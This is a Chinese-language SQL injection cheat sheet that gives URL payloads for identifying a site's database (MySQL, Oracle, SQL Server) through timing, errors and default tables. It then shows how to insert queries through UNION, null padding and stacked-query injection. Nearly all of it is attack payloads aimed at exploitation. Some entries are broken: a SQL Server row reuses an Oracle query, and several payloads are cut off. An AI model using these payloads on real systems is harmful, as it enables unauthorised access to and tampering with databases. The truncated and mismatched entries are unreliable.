DBMS标识
检测正在使用的数据库管理系统(DBMS)对于能够进一步利用注入至关重要。如果没有这些知识信息,就无法确定要查询的表,内置的函数以及要避免的检测。以下查询的成功响应标识正在使用所选DBMS。
注意:注释字符 – 放在查询之后,以删除查询后的任何命令,有助于防止错误。
MYSQL
描述 | 查询方法 |
---|---|
sleep | page.php?id=1’-SLEEP(1)=0 LIMIT 1 – |
BENCHMARK | page.php?id=1’-BENCHMARK(5000000, ENCODE(‘Slow Down’,‘by 5 seconds’))=0 LIMIT 1 – |
字符串连接 | page.php?id=’ ‘mysql’ – |
报错 注意:通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。 | page.php?id=’ |
Oracle
描述 | 查询方法 |
---|---|
字符串查询 | page.jsp?id =’ |
默认表 | page.jsp?id='UNION SELECT 1 FROM v$version – |
报错 注意:通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。 | page.jsp?ID =” |
SQL Server
描述 | 查询方法 |
---|---|
WAITFOR函数 | page.jsp?id=’ |
默认变量 | page.jsp?id='UNION SELECT 1 FROM v$version – |
报错 注意:通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。 | page.asp?ID =” |
报错 注意:如果id参数是整数,则@@ SERVERNAME变量的字符串值可能导致转换错误。 | page.asp?ID = @@ SERVERNAME |
报错 注意:如果id参数是整数,则@@ SERVERNAME变量的字符串值可能导致转换错误。 | page.asp?ID = 0 / @@ SERVERNAME |
提示
PHP应用程序通常使用MySQL数据库。
将查询转换为注入
既然已经确定了注入,本文章的其余部分将包含完整的查询方法。使用以下方法将这些查询插入注入点。其中SELECT @@version将作为示例查询。
描述 | 查询方法 |
---|---|
联合查询 | product.asp?id ='UNION SELECT @@ version - |
联合子查询 | product.asp?id ='UNION(SELECT @@ version) - |
Union null 注意:如果原始查询返回多个列,则添加null以等于列数注意:如果原始查询返回多个列,则添加null以等于列数 | product.asp?id ='UNION(SELECT @@ version,null) - |
堆叠查询 注意:堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。 | product.asp?id=’; SELECT @@version – |